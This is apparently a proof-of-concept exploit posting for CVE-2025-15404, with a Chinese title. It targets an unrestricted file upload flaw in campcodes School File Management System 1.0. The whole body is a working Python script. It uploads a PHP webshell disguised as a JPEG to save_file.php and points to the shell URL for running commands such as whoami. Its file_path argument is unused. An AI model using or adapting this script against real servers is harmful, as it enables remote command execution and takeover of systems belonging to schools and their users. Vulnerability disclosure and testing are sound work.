CVE-2025-15404: campcodes School File Management System 1.0 无限制文件上传漏洞

import requests import sys # CVE-2025-15404 PoC - Unrestricted File Upload in campcodes School File Management System 1.0 # Target: save_file.php def exploit(target_url, file_path): """ Upload malicious file to target server """ upload_url = f"{target_url}/save_file.php" # Prepare malicious file with PHP webshell files = { 'File': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg') } data = { 'submit': 'Upload' } try: response = requests.post(upload_url, files=files, data=data, timeout=10) print(f"[+] Upload request sent to {upload_url}") print(f"[+] Response status: {response.status_code}") if response.status_code == 200: print("[+] File uploaded successfully!") print("[+] Access the shell at: {target_url}/uploads/shell.php?cmd=whoami") else: print("[-] Upload failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://target.com /path/to/file") sys.exit(1) target = sys.argv[1] exploit(target, sys.argv[2])